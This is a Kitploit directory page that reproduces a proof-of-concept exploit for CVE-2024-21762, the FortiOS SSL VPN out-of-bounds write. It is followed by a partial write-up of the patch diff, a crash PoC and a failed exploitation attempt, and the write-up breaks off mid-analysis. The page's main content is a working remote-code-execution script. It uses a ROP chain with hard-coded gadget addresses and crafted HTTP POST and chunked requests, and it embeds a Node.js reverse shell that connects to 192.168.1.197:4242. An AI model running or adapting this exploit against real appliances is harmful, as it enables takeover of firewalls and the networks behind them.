Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-21762 — out-of-bounds write in Fortinet FortiOS CVE-2024-21762 vulnerability | Kitploit
Tools/GitHubGitHub/h4x0r-dz/cve-2024-21762
Vulnerability AnalysisExploitationWeb Application ExploitationRemote Access ToolPayload DevelopmentBinary Exploitation
GitHubh4x0r-dz/cve-2024-21762

CVE-2024-21762

out-of-bounds write in Fortinet FortiOS CVE-2024-21762 vulnerability

View Repository
1502582 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-21762

out-of-bounds write in Fortinet FortiOS CVE-2024-21762 vulnerability

Exploit poc by assetnote


ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"

pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;

rop  = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;

rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;

rop += b"%f5%2c%e6%00%00%00%00%00" #  sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" #  add rsi, rax; mov [rdi+8], rsi; ret;

rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8

pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;

call_execl = b"%80%c1%43%00%00%00%00%00"

bin_node = b"/bin/node%00" 
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'

form_value  = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3

body = (b"B"*1808 + b"=" + form_value + b"&")*20

data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)

time.sleep(1)

ssock2 = make_sock(TARGET, PORT)

data  = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"

ssock2.sendall(data)

Vulnerability

FortiGate released a version update in February, fixing multiple medium- and high-risk vulnerabilities. One of the severe-level vulnerabilities is an unauthorized out-of-bounds write vulnerability in SSL VPN. The vulnerability warning states that this vulnerability may be exploited in the wild. This article will introduce the author's analysis of the process of exploiting this vulnerability to achieve remote code execution.

image

The environment used for vulnerability analysis in this article is FGT_VM64-v7.4.2.F-build2571

diff

Comparing the binaries of the repaired versions (7.4.2 and 7.4.3), the analysis found that the repair code is located in function sub_18F4980(7.4.2).

image

Analyzing this function, it is not difficult to find that the logic of this function is to read the body data of the HTTP POST request. At the same time, Transfer-Encodingit is determined according to the request header whether to read in chunk format or based on Content-Lengthreading. According to the control flow graph comparison results, there are two code modifications:

When parsing the chunk format, call ap_getlinethe read chunk length and check ap_getlinewhether the return value is greater than 16. If it is greater than 16, it is considered an illegal chunk length.

image

When reading the chunk trailer, the source of the written \r\noffset is line_offthe assignment source, line_offthe value before repair is from , and the return value after *(_QWORD *)(a1 + 744) repair is . line_offap_getline

Continuing to trace forward, *(_QWORD *)(a1 + 744) the value that can be found is the length of the chunk length field of the first verification.

image

Continuing to trace forward, *(_QWORD *)(a1 + 744) the value that can be found is the length of the chunk length field of the first verification.

image

At the same time, reading the code can tell that when the value of the chunk length field is 0 after hex decoding, it will enter the logic of chunk trailer reading.

Triggering out-of-bounds

After analyzing the patch, we can draw the following conclusions:

  1. When parsing a chunk, if the hex decoded value of the chunk length field is 0, start reading the chunk trailer.
  2. After calling ap_getline to read the chunk trailer, it will be written to the buffer according to the length of the chunk length field \r\n.

Therefore, if many 0s are passed in the chunk length field, and the length of 0s is greater than 1/2 of the remaining buffer length, an out-of-bounds write will be triggered \r\n. Through debugging, we can know that the target buffer is located on the stack (function sub_1A111E0) , and the return address is stored at offset 0x2028. If written at offset 0x202e \r\n, reta crash will occur due to an illegal address when the function returns to execute the instruction to resume rip.

Crash PoC:

pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked

%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")

ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)

Crash scene:

image

By analyzing the cause of the vulnerability, it can be seen that the vulnerability can be used to write \r\n two bytes out of bounds on the stack, and the out-of-bounds range is close to 0x2000. Since the written content is very limited, RCE cannot be achieved by directly hijacking rip. Therefore, you need to focus on the memory pointer saved on the stack.

failed attempt

What is easier to think of is to hijack rbp and overwrite the low byte of rbp so that rbp just points to a controllable memory area. When the upper-level function returns to execute the instruction, rip can be completely hijacked. However, during verification, it was found that even if rbp on the stack is overwritten, rsp and rip cannot be hijacked, and the program will not even crash. Continuing to trace back up, we find the parent function . This function is not called to restore rsp when it returns , but directly , so it cannot achieve the expected effect. leave retsub_1A111E0sub_1A26040 leave retadd rsp, 0x18

image

Find another breakthrough point

Download Tool